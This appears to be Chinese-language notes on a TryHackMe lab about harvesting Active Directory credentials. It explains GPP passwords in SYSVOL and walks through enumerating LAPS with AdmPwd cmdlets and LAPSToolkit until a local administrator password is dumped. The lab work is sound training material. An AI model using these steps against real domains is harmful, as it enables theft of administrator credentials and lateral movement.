权限:管理员 | SYSTEM

GPP

GPP 是一种工具,允许管理员使用嵌入式凭据创建域策略,部署 GPP 后,将在 SYSVOL 文件夹中创建不同的 XML 文件,SYSVOL 是 Active Directory 的重要组成部分,它在 NTFS 卷上创建一个共享目录,所有经过身份验证的域用户都可以通过读取权限访问该目录。

GPP 相关的 XML 文件使用 AES-256 加密,但是微软泄漏了私钥,我们可以使用 Get-GPPPassword 解密

LAPS

2015年,微软取消了在SYSVOL文件夹中存储加密的密码。它引入了本地管理员密码解决方案(LAPS),为远程管理本地管理员密码提供了一种更安全的方法。

新方法包括活动目录中计算机对象的两个新属性(ms-mcs-AdmPwd和ms-mcs-AdmPwdExpirationTime)。ms-mcs-AdmPwd属性包含本地管理员的明文密码,而ms-mcs-AdmPwdExpirationTime包含重置密码的到期时间。LAPS使用admpwd.dll来改变本地管理员的密码并更新ms-mcs-AdmPwd的值。

枚举 LAPS

如果目标开启了 LAPS 那么我们发现 C:\Program Files\LAPS\CSE\AdmPwd.dll文件

  1. C:\Users\thm>dir "C:\Program Files\LAPS\CSE"
  2. Volume in drive C has no label.
  3. Volume Serial Number is A8A4-C362
  4. Directory of C:\Program Files\LAPS\CSE
  5. 06/06/2022 01:01 PM <DIR> .
  6. 06/06/2022 01:01 PM <DIR> ..
  7. 05/05/2021 07:04 AM 184,232 AdmPwd.dll
  8. 1 File(s) 184,232 bytes
  9. 2 Dir(s) 10,300,473,344 bytes free

列出所有使用于 LAPS 的 PowerShell 的 cmdlet

  1. PS C:\Users\thm> Get-Command *AdmPwd*
  2. CommandType Name Version Source
  3. ----------- ---- ------- ------
  4. Cmdlet Find-AdmPwdExtendedRights 5.0.0.0 AdmPwd.PS
  5. Cmdlet Get-AdmPwdPassword 5.0.0.0 AdmPwd.PS
  6. Cmdlet Reset-AdmPwdPassword 5.0.0.0 AdmPwd.PS
  7. Cmdlet Set-AdmPwdAuditing 5.0.0.0 AdmPwd.PS
  8. Cmdlet Set-AdmPwdComputerSelfPermission 5.0.0.0 AdmPwd.PS
  9. Cmdlet Set-AdmPwdReadPasswordPermission 5.0.0.0 AdmPwd.PS
  10. Cmdlet Set-AdmPwdResetPasswordPermission 5.0.0.0 AdmPwd.PS
  11. Cmdlet Update-AdmPwdADSchema 5.0.0.0 AdmPwd.PS

然后我们加载 GitHub - leoloobeek/LAPSToolkit

  1. PS C:\Tools> Import-Module .\LAPSToolkit.ps1

我们先来查看什么 OU 具有 LAPS 的 “All extended rights

  1. PS C:\Tools> Find-LAPSDelegatedGroups
  2. OrgUnit Delegated Groups
  3. ------- ----------------
  4. OU=THMorg,DC=thm,DC=red THM\LAPsReader

输出显示 LAPsReader组具有访问权限,我们需要检查组以及成员

  1. PS C:\Tools> net groups "LAPsReader"
  2. Group name LAPsReader
  3. Comment
  4. Members
  5. -------------------------------------------------------------------------------
  6. bk-admin
  7. The command completed successfully.

我们需要妥协或冒充bk-admin用户。在妥协了正确的用户后,我们可以使用Get-AbmPwdPassword cmdlet获得LAPS密码,提供启用LAPS的目标机器。

  1. PS C:\Tools> Get-LAPSComputers
  2. ComputerName Password Expiration
  3. ------------ -------- ----------
  4. Creds-Harvesting-AD.thm.red THMLAPSPassw0rd 02/11/2338 11:05:23

参考

TryHackMe | Cyber Security Training)